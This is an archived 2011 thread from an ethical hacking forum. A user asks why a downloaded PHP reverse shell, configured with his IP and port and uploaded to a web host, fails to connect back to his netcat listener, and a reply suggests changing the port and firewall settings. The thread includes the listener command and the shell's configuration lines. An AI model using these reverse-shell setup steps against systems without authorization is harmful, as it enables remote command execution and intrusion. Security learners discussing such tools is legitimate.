Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 25 guests and 1 member online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Web Applicationsarrow [help]issues with setting up reverse php shell.
EH-Net
May 23, 2013, 07:50:50 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: [help]issues with setting up reverse php shell.  (Read 2270 times)
0 Members and 1 Guest are viewing this topic.
manoj9372
Jr. Member
**
Offline Offline

Posts: 72


View Profile
« on: September 04, 2011, 09:42:38 PM »

As the topic says,i had some issues with setting up a reverse php shell

i downloaded this php-reverse shell
Code:
http://pentestmonkey.net/tools/web-shells/php-reverse-shell


And i modified this part
Code:
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS



with my ip address  and port 135(that is the only open port i found in my pc during port scan )
i am using xp-sp2 for this purpose.


and i saved the file, and uploaded to the web-host .

and i opened the php-reverse shell in my browser and after that i opened  netcat and typed the following command as mentioned in the tutorial

Code:
$ nc -v -n -l -p 135


But i am getting like this

Code:
http://i55.tinypic.com/2hnneck.jpg

i dont know what went wrong,also i am having dynamic ip,i dont like to set-up the whole thing each and every time,


here are my questions :
1)what is the problem in my set-up
2)and what should i do in order to avoid the uploading and changing the configuration of  php-reverse shell each time?
3)Also does php function restrictions and safe mode if set to ON will have impact on the reverse shell set-up?

4)Or from your experience please suggest me a best way/tutorial to get a reverse shell from the target.
because i would like to play with kernel exploits,execute os commands and other funny things.


hope i will find some help here..



EDIT:

i had successfully resolved the port problem
and but still i couldnt get a sucessfull back connection
Code:
http://i51.tinypic.com/2ivma8y.jpg
may it is happening due to php function restrictions ?
« Last Edit: September 05, 2011, 02:28:30 AM by manoj9372 » Logged
TheXero
Full Member
***
Offline Offline

Posts: 112


Try Harder!


View Profile WWW
« Reply #1 on: September 05, 2011, 03:06:45 AM »

Don't use an already used port.

Try the default port 1234 Smiley

You may need to also tweak you're firewall settings.
« Last Edit: September 05, 2011, 03:08:30 AM by TheXero » Logged

Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.057 seconds with 22 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.